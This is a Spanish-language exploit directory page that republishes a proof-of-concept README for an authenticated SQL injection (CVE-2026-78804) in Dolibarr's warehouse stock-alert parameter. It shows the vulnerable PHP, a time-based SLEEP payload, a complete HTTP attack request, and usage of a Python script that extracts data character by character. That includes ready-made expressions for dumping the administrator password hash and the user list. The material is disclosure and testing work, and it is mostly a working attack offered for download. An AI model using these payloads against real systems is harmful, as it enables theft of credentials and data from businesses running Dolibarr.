Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-78804_Dolibarr_authenticated_SQL_injection — La acción responsable de establecer el umbral de alerta de stock por almacén (`seuil_stock_alerte`) acepta entrada controlada por el usuario y posteriormente la incorpora en una consulta SQL sin la conversión numérica ni el enlace de parámetros adecuados. #dolibarr #exploit | Kitploit
Herramientas/GitHubGitHub/repo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection
Análisis de VulnerabilidadesExplotaciónScripting y AutomatizaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubrepo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection

CVE-2026-78804_Dolibarr_authenticated_SQL_injection

La acción responsable de establecer el umbral de alerta de stock por almacén (`seuil_stock_alerte`) acepta entrada controlada por el usuario y posteriormente la incorpora en una consulta SQL sin la conversión numérica ni el enlace de parámetros adecuados. #dolibarr #exploit

Ver Repositorio
hace 18h 28mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Dolibarr — PoC de inyección SQL autenticada

Inyección SQL que afecta a la funcionalidad de gestión de stock de productos a través del parámetro seuil_stock_alerte.

Versiones afectadas

Probado y confirmado en:

  • 19.0.4
  • 20.0.4
  • 21.0.4
  • 22.0.5
  • 23.0.3
  • 24.0.0 (Funcionaba hasta el reporte.)

Parámetro vulnerable

seuil_stock_alerte

El parámetro es aceptado por:

root@kitploit:~
/product/stock/product.php

utilizando la acción addlimitstockwarehouse.

Explotación

El parámetro se recupera sin conversión numérica:

root@kitploit:~
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');

$pse->seuil_stock_alerte = $seuil_stock_alerte;

Posteriormente llega a una sentencia SQL mediante concatenación directa de cadenas:

root@kitploit:~
$sql .= ' seuil_stock_alerte = '.
    (isset($this->seuil_stock_alerte)
        ? $this->seuil_stock_alerte
        : "null").',';

Debido a que el valor se inserta en un contexto numérico sin comillas, se puede proporcionar una expresión SQL en lugar de un valor numérico normal.

Inyección SQL ciega basada en tiempo

Una expresión booleana/basada en tiempo es suficiente para demostrar la ejecución:

root@kitploit:~
(SELECT IF((1=1),SLEEP(15),0))

Ejemplo de parámetro:

root@kitploit:~
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

Una solicitud exitosa produce un retraso en la respuesta HTTP de aproximadamente 15 segundos, lo que confirma la evaluación de la expresión SQL inyectada.

Solicitud vulnerable

La acción vulnerable puede alcanzarse con una solicitud autenticada similar a:

root@kitploit:~
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded

action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

Requisitos:

  • Sesión autenticada válida
  • Token CSRF (extraído de la página de la ficha del producto)
  • ID del producto
  • ID del almacén

Autenticación y privilegios

El problema se reprodujo con una cuenta autenticada que solo tenía:

root@kitploit:~
Product → Create (produit/creer)

permiso — una cuenta de bajo privilegio que puede crear productos.

Impacto

La inyección SQL permite:

  1. Inyección SQL ciega basada en tiempo — las consultas pueden ejecutarse mediante retrasos SLEEP
  2. Divulgación de información — el contenido de la base de datos puede exfiltrarse carácter por carácter
  3. Potencial escalada de privilegios — extracción de credenciales de administrador o datos sensibles
  4. Reconocimiento de la base de datos — enumeración del esquema mediante métodos basados en errores o tiempo

Las restricciones a nivel de base de datos en este sistema impidieron la ejecución directa de comandos del sistema operativo.

Herramienta de explotación

El script PoC adjunto stock_sqli_poc.py automatiza el proceso de explotación:

Uso

root@kitploit:~
python3 stock_sqli_poc.py \
  --url http://127.0.0.1:8088 \
  --proxy http://127.0.0.1:8080 \
  --login webeditor \
  --password 'WebEdit0r!' \
  --product-id 1 \
  --warehouse-id 1 \
  --extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
  --length 14

Características

  • Inicio de sesión automático — se autentica en el objetivo
  • Confirmación de inyección — valida la inyección SQL con payloads de prueba (1=1 vs 1=2)
  • Extracción por búsqueda binaria — extrae datos de forma eficiente carácter por carácter mediante comparación ASCII
  • Soporte de proxy — se integra con Burp Suite u otros proxies HTTP
  • Retraso configurable — ajusta la duración de SLEEP para mayor fiabilidad

Opciones de línea de comandos

OpciónPredeterminadoDescripción
--urlhttp://127.0.0.1:8088URL de la instancia Dolibarr objetivo
--proxyhttp://127.0.0.1:8080Proxy HTTP (Burp, etc.). Establecer como cadena vacía para deshabilitar
--loginwebeditorNombre de usuario para la cuenta de bajo privilegio
--passwordWebEdit0r!Contraseña de la cuenta
--product-id1ID del producto objetivo
--warehouse-id1ID del almacén objetivo
--delay1.0Duración de SLEEP en segundos para la detección basada en tiempo
--extract(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)Expresión SQL a exfiltrar
--length14Longitud máxima de caracteres a extraer

Ejemplos de extracción

Extraer el hash de la contraseña de administrador:

root@kitploit:~
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"

Enumerar usuarios:

root@kitploit:~
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"

Versión de la base de datos:

root@kitploit:~
--extract "VERSION()"

Usuario actual de la base de datos:

root@kitploit:~
--extract "USER()"

⚠️ Aviso legal: Utilice este exploit únicamente contra sistemas para los que tenga autorización escrita explícita. El acceso no autorizado a sistemas informáticos es ilegal. Este PoC se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

Descargar herramienta